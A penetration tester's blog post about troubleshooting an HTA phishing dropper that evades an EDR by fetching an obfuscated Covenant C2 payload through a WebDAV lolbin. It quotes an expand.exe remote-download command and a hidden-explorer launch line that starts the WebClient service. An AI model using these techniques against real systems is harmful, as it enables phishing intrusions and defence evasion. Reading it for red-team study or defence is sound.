Here we’ll see some of the traps you can fall into while trying to create a phishing payload that uses webdav based lolbin.

An EDR to bypass during a phishing compain

Recently I was doing a phishing campain. As for each phishing campain, I reproduced the client’s standard environment in a lab, with the same operating system and EDR he used. I did ask the client for its specific EDR. Some call it cheating, I call it… optimizing I guess ?

I’ll spare the details on every step of the phishing phase, but I did encounter one weird problem while creating a payload that was supposed to bypass the EDR.

The payload was very classic : an HTA dropper that would download and execute an obfuscated version of Covenant, which is the major C&C I’ve been using since the fall of PowerShell and the rise of .NET in the offensive security paradigm.

HTA files from the internet have less rights

First tricky thing to know : hta files coming from the Internet have less rights than normal hta files. For example, the most “standard” way of downloading a file (remember the HTA is just a dropper) in vbs, is to create a Microsoft.XMLHTTP object. However, while this will work for a local HTA, it seems to be restricted for HTA downloaded on the Internet. This can be quite confusing as two HTA files that looks identical won’t behave in the same way.

Our payload gets downloaded with a HTA that was created locally
Trying the same HTA doesn’t work if it was downloaded from the Internet
Properties differences between the two files
Properties differences between the two files

In order to bypass this restriction, and also to confuse the EDR I was targeting, I decided to download the Covenant payload through a lolbin.

Lolbin not working as expected

Lolbins are binaries that exist on a system, for legitimates reasons, but can be used by an attacker in another way than what was expected. Usually, they can be used as binary proxy, meaning you can run an arbitrary code through them (which can confuse EDR, or bypass whitelisting based defenses). Some can also be used to download a file. 

The most famous Windows lolbin used for that purpose is certutil, which is supposed to be a certificate related binary, but that has been notorious for helping hackers download arbitrary file to compromised systems. So notorious in fact, that most antivirus will flag your payload if it ever use certutil.exe.

Thus, I wanted to download the Covenant through a less known lolbin. I found several on the lolbas project page. However, something weird was happening with them. Let’s look for example at expand.exe.

The lolbas page gives the following command to download an arbitrary file :

expand \\webdav\folder\file.bat c:\ADS\file.bat

After setting up a webdav server, my payload was sometimes downloading, sometimes not. 

After doing the most random things to identify what made it work, I noticed that I was successful when I tried to access the payload after accessing it through a windows explorer first. 

Now we can’t access our webdav server
We get to it through an explorer first
And now it works

“Webclient” service is also a webdav client

So, what’s different between before and after using an explorer to reach our webdav server ? Well, the answer might be obvious to some, but it clearly wasn’t to me. The webdav client that Windows use can be enabled through the “WebClient” service. While this service isn’t enabled at start, trying to access a webdav server through an explorer will automatically start it.

So there you have it. In order for my payload to be downloaded, I just had to try to access it through a hidden explorer, with something like 

Process.Create("explorer.exe /seperate /root,\\public_ip@8080\", null, objConfig, intProcessID)

And only then use the lolbin to download the Covenant payload.

Better late than ever?

Of course, as per usual, a few weeks after pulling my hair on this, I stumbled upon this tweet that explained everything and gave a better solution to it than I did :

So, well, thank you man :-).